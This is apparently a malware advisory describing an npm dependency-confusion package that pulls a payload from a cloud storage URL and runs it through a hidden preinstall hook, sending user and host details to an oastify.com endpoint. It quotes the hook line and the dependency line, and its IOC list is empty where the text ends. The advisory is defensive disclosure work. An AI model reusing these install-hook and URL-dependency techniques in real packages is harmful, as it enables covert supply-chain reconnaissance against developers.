GCVE-110-OSM-2026-4964

This package is a dependency-confusion/supply-chain attack using a URL-based dependency to pull in an external malicious package `ltidisafe` from `ltidi.storage.googleapis.com`. The embedded `ltidisafe` package runs `test.js` via a preinstall hook (output suppressed with `> /dev/null 2>&1` to avoid detection), which collects system information via `os.userInfo()` and `os.hostname()` and exfiltrates to an oastify.com OAST endpoint — a classic install-time reconnaissance pattern. The publisher `ltdwh8` has a 55% malicious ratio across 20 checked packages, with 11 confirmed malicious packages already in OSM, indicating a prolific threat actor running a systematic dependency confusion campaign targeting enterprise namespaces (Sixt, Deel, Citi, etc.). Entrypoint: index.js (main: index.js) Payload: [ltidisafe] test.js Key findings: - URL-Based Dependency in package.json: ""dependencies": { "ltidisafe": "https://ltidi.storage.googleapis.com/depenco..." - Publisher Has Other Malicious Packages - OAST/Interactsh Exfiltration in [ltidisafe] test.js: "oastify.com" - Install Hook Executes Local JS File in [ltidisafe] package.json: ""preinstall": "node test.js > /dev/null 2>&1"" IOCs: